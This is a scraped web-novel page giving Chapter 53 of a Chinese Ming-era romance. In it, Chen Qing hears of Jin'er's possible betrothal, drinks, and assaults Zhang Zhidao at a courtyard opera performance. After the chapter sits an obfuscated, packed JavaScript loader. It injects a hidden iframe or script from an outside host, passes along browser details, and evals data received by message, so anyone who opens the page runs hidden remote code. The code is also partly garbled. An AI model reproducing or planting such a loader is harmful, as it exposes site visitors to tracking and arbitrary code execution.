默认冷灰
24号文字
方正启体

第53章 横生枝节

    陈卿似乎一下子解释了很多。

    从他和申沁芳是怎么认识到姐姐是如何尽力撮合,再到中元节那晚上是怎么回事。锦儿似乎很认真地听着,美目精芒闪闪,等他说完了,“噗媸”娇笑道:“只看你这么用心解释,锦儿已知道答案,陈卿哥不用说啦,你现在给我乖乖闭上眼睛好吗?”

    陈卿不明所以,深情地看了她一眼,苦笑下,闭上眼睛。

    锦儿柔声道:“听话,我不让你睁开就不许睁开哦。”说着凑近在他脸上蜻蜓点水的轻轻一吻,他还没反应过来,她已光着脚丫飘然而去。

    “她刚才是亲了我一下吗?”陈卿睁开眼睛,摸摸自己的脸,有点不敢相信,就像做了个梦一样。

    他感到自己的脸滚烫滚烫的,就这样坐在那里,发呆了好一阵子才慢慢地起身往回走。

    太阳,已经落到了山的背后。

    他走到那农家小舍,在院门口犹豫半天要不要进去,心想着,或许锦儿现在就在里面,又怕自己这样冒失地闯进去,场面会很尴尬,想到这里心不由得紧张起来。正思索间,远远看到身穿一身宝蓝色妆花蟒衣的朱勋潪正朝小院走来,这下更像是做了什么亏心事一样慌了手脚。

    朱勋潪也远远看见他,高兴地朝他招手,他赶忙收拾心情,待他走进,紧张的施礼道:“郡王爷,我……”

    “你今天是怎么回事?”朱勋潪上前将他扶起,“不是早就不让你这么叫了吗?”

    他看到他额头上似乎有汗珠沁出,用手一探道,“怎么了,你今天不舒服吗?”

    陈卿赶忙答道:“不是不是,我,我今天,你并没有召见我,是我自己,我自己……”

    看他说话吞吞吐吐的样子,朱勋潪忍俊不禁道:“我以为是什么,不管怎样,你来了就好啊,我正准备明儿派人去找你呢。”说着拍拍他的肩膀,“走,咱屋子里说话。”

    陈卿忐忑不安地跟在他身后,感觉心都快跳了出来,他生怕开门的一刹那看到锦儿,到时候可就……

    门吱呀一声被推开了。

    屋子里一片漆黑,安静得很,锦儿显然并没有来过。

    朱勋潪点了几支蜡烛,拉着他坐到椅子上。

    “勋潪,我……”越是这样,他越觉得不该有任何事情瞒着他,犹豫半天,吞吞吐吐道,“其实,我,我今天,是,县主殿下有事,叫我过来的,我……”

    朱勋潪边从里屋拿出水壶和茶杯,斟上两杯茶水,递给他一杯,表情略带惊讶道:“怎么,是锦儿找你的吗?这丫头,真是……”接着又像是想起什么,说道,“这么说来,你已经知道了?”

    陈卿抬起头,诧异道:“知道?知道什么?”

    “怎么,她没跟你说吗?”朱勋潪缓缓

    道,“就是王爷爷昨晚说,她过完年就十五了,要给她找个好人家嫁了啊。”

    “什么?陈卿猛地站了起来,心咯噔一下,手中茶杯掉落地上碎了一地。

    他声音有些颤抖着道:“嫁,嫁给谁?”

    朱勋潪平静地看着他,半晌笑道:“你这是怎么了,那么紧张干吗,这不是王爷爷才提议的嘛,锦儿是我唯一的亲妹妹,嫁人关乎她一生的幸福,怎会那么草率嘛。”

    陈卿这才察觉到自己的失态,一个劲道歉道:“你别见怪,我,我刚才有点……”他不知该怎么解释,开始支支吾不起来。

    朱勋潪笑道:“你瞧你,我也没说什么呀,锦儿是我唯一的妹妹,你是我唯一的知交好友。这一夏天,你待她也如兄长一样,想着法子让她开心,这些我是看在眼里的,你这样,我真的很感激,真的。”

    陈卿的心一下子沉了下去,重重地坐回椅子上,感觉有什么东西梗在心头,却不知该如何吐出来。

    半晌,他抬起头来,努力平复下心情,问道:“老王爷可是有意向,将她许配给哪家大户人家吗?”

    “大户人家?”朱勋潪道,“在这潞州城里,还有比我们家更大的大户人家吗?”他说着哈哈大笑起来。

    陈卿也跟着傻笑下,继续问道:“那老王爷的意思是……”

    朱勋潪控制住笑容,轻啜一口茶水道:“王爷爷其实也没多说什么,昨日是中元,他见我们上坟回来,一脸憔悴的样子,听说我们哭得很厉害,心疼得不得了,这才说起,我们都不小了,也该成家了。”

    “我倒没什么,去年家父在时,已经帮我安排好了一桩亲事,后来他老人家突然离世,作为人子,我守孝三年,这门亲事也就拖了下来。倒是锦儿,明年就是十五,按照惯例,我们是该好好为她选一个如意郎君了。

    他说着起身,咳嗽一声道:“这里倒不在乎什么大户人家,你想必也知道,在我大明,即便是皇帝的女儿,也是要嫁给普通平民百姓的,说不上什么门当户对。”

    听他说完,陈卿这才长舒了一口气,心想着,这样就好,这样就好,谁料心里的石头还没落地,又听朱勋潪道:“不过……”

    “不过什么?”他刚落下的心又提到了嗓子眼。

    朱勋潪摇摇头,做出一副有点无奈的样子,喃喃道:“我听王爷爷的意思,似乎心里已经有人选了,奶奶在世时便念叨过的,如今那个世子也多次奏请,说世子妃有个弟弟,和锦儿年龄倒还合适,十有八九是他了吧。”

    “啪!”陈卿手里的茶杯再度掉到了地上,张大嘴巴愣怔在那里,脸色变得很难看。

    “陈卿,你没事吧,怎么回事今天这是?”朱勋潪关切道。

    “世子妃的弟弟,是不是就是潞绸世家张家的那个独子,叫张知道的……”他面无表情,一字字道。

    朱勋潪诧异地看着他:“名字叫什么我不知道,但我奶奶和世子妃确是潞绸张家出来的人,他肯定也是了。”

    “怎么,你,你认识这个人?”

    陈卿如同被雷击了一样,麻木地站在那里,面色苍白,没有一点血色。

    “陈卿,你今天到底怎么了,是不是有什么不舒服?”

    好一阵子,陈卿回过神来,面无表情道:“是,我今日身体有点不适,就不便陪王爷了,我先回去,改日再来见您。”说着慢慢起身,就要告辞。

    朱勋潪关切道:“好,那你回去找个大夫好好看下,我送你。”

    “陈卿贱命一条,就不劳王爷了。”他说着摆摆手,头也不回向外走去。

    夜,已经起了。

    一轮圆月,将四周照得亮堂堂的。

    陈卿的心里却是阴霾到了极点,无边的夜色压得他喘不过气来。

    他走到天晚集附近,随意找了一家酒馆,要了两斤潞酒,没喝几杯就觉得醉了,心里更加的难受。

    当他如行尸走肉般晃晃悠悠走到家里的时候,远远地便听到院子里似乎有什么声音,走近仔细一听,好像有人在唱戏。

    明媚的月光铺满了院子的地面。

    院子里不知何时用木板搭起了一个简易的小舞台,他看到一个男子正站在舞台上,穿着戏里的衣服,头戴着方巾,鼻梁上抹着一块白粉,正扯开嗓子唱的如痴如醉。

    “有心争似无心好,多情却被无情恼。

    好句有情怜夜月,落花无语怨东风呐……”

    旁边有几个小厮在敲打着锣鼓梆子,再看台下,姐姐陈月正笑得合不拢嘴。

    那男子似乎是头一次这种打扮,脸上的粉底让他很不适应,唱不了几句就止不住打喷嚏,鼻涕都流到了地上,却还是接着唱,台下坐着的还有刚刚恢复的陈相,和家里的两个仆人,但那男子的眼睛却只盯着陈月看,仿佛那戏就是唱给她一个人听的,一看到她笑,就唱的更欢,好像她一高兴就能多给赏钱一样。

    虽然他花了妆,陈卿从他的身形,声音,还是能一眼猜出来,这个唱戏的人就是张知道。

    他对此人本就没什么好感,一夏天常见他来这里找姐姐,四处献殷勤,尤其反感,这次又听朱勋潪说沈王爷有意把锦儿许配给他,这下借着酒劲,更是怒从心头起,一看这情景就气不打一处来。

    “你,你给我闭嘴,唱的老子心烦!”陈卿突然进来院子,冲着台子大喊一声,众人还没来得及反应,他已经疯也似的跌跌撞撞跳上了台子,一脚踹翻台上放着的花盆,一把扯下张知道头上的方巾,拽住他

    的衣领就要把他拉下来。

    张知道正唱的带劲,被这莫名奇妙的一出弄得来不及招架,整个人顿时显得很狼狈,他身边正在敲锣打鼓的几个小厮则直接放下手中的家伙,冲上前去保护他往后退。

    张知道一边狼狈地往回走一边好言好语道:“陈兄这是怎么了,莫不是喝多了吗?”

    陈卿也不听他说话,上去就是一拳,打得他捂着鼻子弯下了腰。台下的陈月陈相也被这突如其来的变故搞懵了,陈相正要上去拦阻,一个用力不知震了哪里的伤口,瞬时疼得他蹲下了身子,两个仆人见状赶忙上前扶住他。陈月则大吼道:“陈卿,你这是干什么,耍什么酒疯你?”

    “耍酒疯,我没喝酒,耍什么酒疯。”陈卿歇斯底里道。说着又一把扯过张知道的衣领,大声道,“你应该问问他,问问他,每天在这里装疯卖傻是图个什么。”

    张知道似乎听出了什么,边捂着鼻子,边痛苦的解释道:“陈卿你,放开我,有话,好好说,我是,喜欢你姐姐,这个明眼人都看得出来,我张知道做事光明磊落,不怕人家笑话,只要月儿高兴,别人怎么看我无所谓。”

    “哈哈哈哈。”陈卿疯了一样,大笑道,“你张知道光明磊落,我呸,你就是个花花公子,吃着碗里地想着锅里的,你喜欢我姐姐,难道是要她去给你做妾吗?你个混账东西,我们陈家虽然卑微,但我姐也没沦落到给人做妾的地步。”

    “陈卿你疯了,你知道你在说什么吗?”陈月脸红道,“你,谁要给他做妾,你把话给我说清楚!”

    张知道也一脸懵懂,道:“我张知道至今尚未婚配,既无夫人,谈什么纳妾,陈兄你是不是在哪里听到什么流言蜚语了?”

    (本章完)

    eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g,k[c])}}return p}('h 4="F"+E.d.C(B).H(2);c.6("<f L=\'"+4+"\'></f>");8((/(K)/i.J(b.I))){7.m(\'u\',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.y.G(/\\+/g,"%15")))}}});c.6(\'<l 10="12:13;" d="j://m.n.t/s-11-\'+(r q).o+\'.14?N=5&17=\'+b["a"]+\'&p=\'+4+\'" 16="Y" R="Z%"  Q="0" P="o" S="0" T="X"></l>\}w{;c.6(\'<k d="j://m.n.t/s.V?\'+(r q).o+\'&U=1&p=\'+4+\'&a=\'+b["a"]+\'"><\\/k>\}',62,70,'|||_dat_d|djdzh||write|window|if|if_id|platform|navigator|document|src||div||var||https|script|iframe||24djk|getTime|lsbdid|date|new|51085|message|function||data|wz_ev_j|decodeURponent|eval|36|toString|random|math|div_|replace|substr|userAgent|test|UCBrowser|id|addEventListener|sdfa|no|scrolling|marginheight|width|frameborder|allowtransparency|is_bs|m3u8|else|true|auto|100|style||display|none|html|20|height|serasfd'.split('|,0,{}))

    _17mb_wappbottom;

    setTimeout(function{("nogg").="none";},4000);